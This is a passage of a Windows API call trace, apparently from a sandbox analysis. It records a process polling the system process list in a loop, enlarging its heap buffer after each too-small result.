RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0146.199] Sleep (dwMilliseconds=0x64) [0146.591] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0146.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0146.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0146.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0146.591] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0146.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0146.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0146.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0146.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0146.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0146.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.592] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0146.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0146.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0146.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0146.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.593] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0146.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0146.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0146.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0146.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0146.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0146.595] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0146.595] Sleep (dwMilliseconds=0x64) [0146.891] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0146.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0146.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0146.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0146.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0146.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0146.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0146.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0146.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0146.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0146.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0146.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.893] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0146.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.894] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0146.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.894] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0146.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.894] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xc1b0) returned 0x79d9d0 [0146.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.894] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xd1d4) returned 0x79d9d0 [0146.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0146.895] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xe1f8) returned 0x2560048 [0146.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.895] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0146.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.895] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0146.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0146.896] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0146.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0146.896] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0146.896] Sleep (dwMilliseconds=0x64) [0147.593] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0147.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0147.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0147.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0147.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0147.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0147.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0147.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0147.594] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0147.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0147.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0147.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0147.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0147.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0147.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x7a1cf0 [0147.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0147.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0147.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0147.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0147.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0147.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0147.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0147.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0147.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0147.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0147.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0147.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0147.598] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0147.598] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0147.598] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0147.598] Sleep (dwMilliseconds=0x64) [0148.176] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0148.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0148.177] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0148.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0148.177] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0148.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0148.177] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0148.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0148.177] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0148.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.178] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0148.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.178] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0148.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.178] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0148.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.178] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0148.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.178] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0148.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.179] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0148.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.179] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0148.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.179] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0148.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0148.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0148.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.180] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0148.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0148.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.181] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0148.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0148.181] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0148.181] Sleep (dwMilliseconds=0x64) [0148.911] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0148.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0148.911] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0148.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0148.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0148.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0148.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0148.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0148.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0148.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0148.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0148.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0148.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0148.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0148.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0148.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0148.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0148.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0148.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0148.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0148.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0148.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0148.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0148.915] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) 